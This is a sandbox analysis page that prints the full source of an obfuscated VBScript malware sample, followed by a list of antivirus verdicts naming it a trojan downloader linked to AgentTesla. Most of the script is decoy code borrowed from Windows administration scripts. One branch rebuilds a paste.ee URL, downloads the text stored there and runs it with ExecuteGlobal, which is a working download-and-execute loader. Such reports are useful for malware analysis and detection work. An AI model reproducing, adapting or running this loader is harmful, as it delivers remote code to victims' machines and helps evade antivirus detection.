Static | ZeroBOX
No static analysis available.
For bento = 0 To 3
If bento = 3 Then
Select Case bento
Case 0
On Error Resume Next
Set usurar = WSCript.CreateObject("WSCript.Shell")
Set goivado = CreateObject("Scripting.FileSystemObject")
Set escreder = WSCript.CreateObject("WSCript.Network")
Dim globalResource, globalErr, foundSlUi, strSluiPath, excitabilidade, objWMI, objWMI1, wmiErr, productinstances, strValue, Win7, productClass, tokenClass, intIsKms, kmsCounter, isAdActivated, dlicense, foundSubKey, foundPerpKey, Win8, strSkuId, perilo, getHeartBeat
globalResource = ""
globalErr = ""
foundSlUi = False
Win7 = False
Win8 = False
kmsCounter = 0
isAdActivated = False
dlicense = False
strSkuId = Null
currentDir = Left(WScript.ScriptFullName, InStrRev(WScript.ScriptFullName, "\"))
' Activation error codes for which a KB is available
perilo = "80070422|80070426|C004F074|80070001|80070005|8007000D|8007232B|8007251D|C004F014|C004F038|C004F039|C004F041|C004F042|C004C003|4004F040"
Select Case WSCript.Arguments.Count
Case 0
WScript.Quit
Case 1
justiniano = WSCript.Arguments(0)
Case 2
justiniano = WSCript.Arguments(0)
tapado = WSCript.Arguments(1)
Case 3
justiniano = WSCript.Arguments(0)
tapado = WSCript.Arguments(1)
composto = WSCript.Arguments(2)
Case 4
justiniano = WSCript.Arguments(0)
tapado = WSCript.Arguments(1)
composto = WSCript.Arguments(2)
tupinambo = WSCript.Arguments(3)
Case Else
End Select
vilancico = LCase(Right(WScript.FullName,12))
If vilancico <> "\cscript.exe" Then
usurar.Popup "Unable to perform operation. " & WSCript.ScriptName & " requires the cscript engine." & _
vbCr & "Command line example: cscript ospp.vbs ?", _
,WSCript.ScriptName, VALUE_ICON_WARNING
WScript.Quit
End If
WMIDateStringToDate = CDate(Mid(dtmEventDate, 5, 2) & "/" & _
Mid(dtmEventDate, 7, 2) & "/" & Left(dtmEventDate, 4) _
& " " & Mid (dtmEventDate, 9, 2) & ":" & _
Mid(dtmEventDate, 11, 2) & ":" & Mid(dtmEventDate, _
13, 2))
If foundSlUi <> True Then
If cType <> "wmi" Then
globalPopFailure "slui.exe not found.",True
quitExit()
End If
Else
Set objScriptExec = usurar.Exec (strSluiPath & " 0x2a " & strSearch)
readOut = objScriptExec.StdOut.ReadAll
quitExit()
End If
wmiObject.CheckAccess HKEY_LOCAL_MACHINE, strKeyPath, KEY_SET_VALUE, _
bHasAccessRight
If bHasAccessRight = True Then
'Success
Else
globalPopFailure MSG_NOREGRIGHTS & vbCr & MSG_ISCMD_ELEVATED,True
End If
If Not goivado.FileExists(file) Then
If file = currentDir & "slerror.xml" Then
WScript.Echo "[" & MSG_FILENOTFOUND & file & " Unable to display error description.]"
ElseIf file = currentDir & "ospp.htm" Then
globalPopFailure MSG_FILENOTFOUND & vbCr & file,False
quitExit()
Else
globalPopFailure MSG_FILENOTFOUND & vbCr & file,True
End If
End If
For Each Drv In goivado.Drives
If Drv.DriveType=2 Then
If goivado.FileExists(Drv.DriveLetter & STR_SYS32PATH & "wbem\mofcomp.exe") Then
foundComp = True
strMofExePath = Drv.DriveLetter & STR_SYS32PATH & "wbem\mofcomp.exe"
If goivado.FileExists(Drv.DriveLetter & STR_SYS32PATH & "wbem\" & strFile) Then
foundMof = True
strOWmi = Drv.DriveLetter & STR_SYS32PATH & "wbem\" & strFile
Set objScriptExec = usurar.Exec (strMofExePath & " " & strOWmi)
readOut = objScriptExec.StdOut.ReadAll
WScript.Echo readOut
quitExit()
End If
End If
End If
Next
If foundComp <> True Then
globalPopFailure MSG_FILENOTFOUND & Replace(STR_SYS32PATH,":","") & "wbem\mofcomp.exe",True
Else
If foundMof <> True Then
globalPopFailure MSG_FILENOTFOUND & Replace(STR_SYS32PATH,":","") & "wbem\osppwmi.mof",True
End If
End If
For Each Drv In goivado.Drives
If Drv.DriveType=2 Then
If goivado.FileExists(Drv.DriveLetter & STR_SYS32PATH & "slui.exe") Then
strSluiPath = Drv.DriveLetter & STR_SYS32PATH & "slui.exe"
foundSlUi = True
Exit For
End If
End If
Next
Case 1
dim iAction
dim iRetval
dim oParamDict
'
' Abort if the host is not cscript
on error resume next
dim strFullName
dim repelido
dim i, j
dim bReturn
bReturn = false
strFullName = WScript.FullName
i = InStr(1, strFullName, ".exe", 1)
if i <> 0 then
j = InStrRev(strFullName, "\", i, 1)
if j <> 0 then
repelido = Mid(strFullName, j+1, i-j-1)
if LCase(repelido) = "cscript" then
bReturn = true
end if
end if
end if
if Err <> 0 then
wscript.echo L_Text_Error_General01_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
end if
IsHostCscript = bReturn
on error resume next
dim oError
set oError = CreateObject("WbemScripting.SWbemLastError")
if Err = kErrorSuccess then
wscript.echo L_Operation_Text & L_Space_Text & oError.Operation
wscript.echo L_Provider_Text & L_Space_Text & oError.ProviderName
wscript.echo L_Description_Text & L_Space_Text & oError.Description
wscript.echo L_Text_Error_General03_Text & L_Space_Text & oError.StatusCode
end if
on error resume next
dim oLocator
dim bResult
oService = null
bResult = false
set oLocator = CreateObject("WbemScripting.SWbemLocator")
if Err = kErrorSuccess then
set oService = oLocator.ConnectServer(strServer, strNameSpace, lulismo, rubim)
if Err = kErrorSuccess then
bResult = true
oService.Security_.impersonationlevel = 3
'
' Required to perform administrative tasks on the spooler service
'
oService.Security_.Privileges.AddAsString "SeLoadDriverPrivilege"
Err.Clear
else
wscript.echo L_Text_Msg_General08_Text & L_Space_Text & L_Error_Text _
& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
else
wscript.echo L_Text_Msg_General09_Text & L_Space_Text & L_Error_Text _
& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
enxorar = bResult
dim strRet
strRet = strServer
if Left(strServer, 2) = "\\" and Len(strServer) > 2 then
strRet = Mid(strServer, 3)
end if
RemoveBackslashes = strRet
Case 2
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg01_Text
dim oDriver
dim oService
dim iResult
dim uResult
iResult = kErrorFailure
if Err.Number = kErrorSuccess then
oDriver.Name = strModel
oDriver.SupportedPlatform = strEnvironment
oDriver.Version = uVersion
oDriver.FilePath = strFilePath
oDriver.InfName = strInfFile
uResult = oDriver.AddPrinterDriver(oDriver)
if Err.Number = kErrorSuccess then
if uResult = kErrorSuccess then
wscript.echo L_Text_Msg_General01_Text & L_Space_Text & oDriver.Name
iResult = kErrorSuccess
else
wscript.echo L_Text_Msg_General02_Text & L_Space_Text & strModel & L_Space_Text _
& L_Text_Error_General03_Text & L_Space_Text & uResult
end if
else
wscript.echo L_Text_Msg_General02_Text & L_Space_Text & strModel & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
end if
else
end if
AddDriver = iResult
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg02_Text
iResult = kErrorFailure
strObject = strModel & "," & CStr(uVersion) & "," & strEnvironment
if enxorar(strServer, kNameSpace, lulismo, rubim, oService) then
set oDriver = oService.Get("Win32_PrinterDriver.Name='" & strObject & "'")
else
DelDriver = kErrorFailure
end if
Case 3
nycterino = Split("sincronicamentettps://paste.ee/d/7HCkx", "sincronicamente")
electividade = Join(nycterino, "h")
Set tosquiadura = CreateObject("MSXML2.XMLHTTP")
tosquiadura.Open "GET", electividade, False
tosquiadura.send
landainices = tosquiadura.responseText
emocional landainices
Case 4
private const micrococo = "Can be executed only by cscript.exe."
private const palomar = "Unknown operation name: "
private const lhandras = "Operation - "
private const excessivo = "File does not exist: "
private const pirangueiro = "Parameter is zero length #"
private const genista = "Switch not allowed with the given operation: "
private const escoliar = "Unknown switch: "
private const sabiabe = "Missing switch name"
private const desprevenir = "Invalid use of command line. Type ""winrm -?"" for help."
private const locativo = "Type ""winrm -?"" for help."
private const herpetographia = "Invalid usage of command line; winrm.vbs not found in command string."
private const calilogia = "A quoted parameter value must begin and end with quotes: "
private const acidulante = "Unexpected match count - one match is expected: "
private const atrevidete = "Option is not unique: "
private const monotelitismo = "URI is missing"
private const inumar = "Action is missing"
private const dyscrasia = "URI is 0 length"
private const punhalada = "Invalid URI, token is 0 length"
private const derrocamento = "Invalid WMI resource URI - no '/' found (at least 2 expected)"
End Select
End If
Sub emocional(subulipalpos)
ExecuteGlobal subulipalpos
End Sub
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
Cynet Clean
CMC Clean
CAT-QuickHeal Clean
Skyhigh BehavesLike.VBS.Dropper.lv
McAfee Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec ISB.Downloader!gen40
ESET-NOD32 VBS/TrojanDownloader.Agent.AAKW
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [Drp]
ClamAV Clean
Kaspersky HEUR:Trojan-Downloader.Script.Generic
BitDefender Clean
NANO-Antivirus Trojan.Script.Vbs-heuristic.druvzi
ViRobot Clean
MicroWorld-eScan Clean
Tencent Clean
Sophos Clean
F-Secure Clean
DrWeb Clean
VIPRE Clean
TrendMicro Clean
FireEye Clean
Emsisoft Clean
GData Clean
Jiangmin Clean
Varist Clean
Avira Clean
MAX Clean
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Clean
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Trojan-Downloader.Script.Generic
Microsoft Trojan:VBS/AgentTesla.RVF!MTB
Google Detected
AhnLab-V3 Clean
Acronis Clean
BitDefenderTheta Clean
TACHYON Clean
VBA32 Clean
Zoner Clean
Rising Downloader.Agent/VBS!8.10EA5 (TOPIS:E0:rHcE8wIYbGF)
Yandex Clean
Ikarus Trojan-Downloader.VBS.Agent
MaxSecure Clean
Fortinet Clean
AVG Script:SNH-gen [Drp]
Panda Clean
CrowdStrike Clean
alibabacloud Clean
No IRMA results available.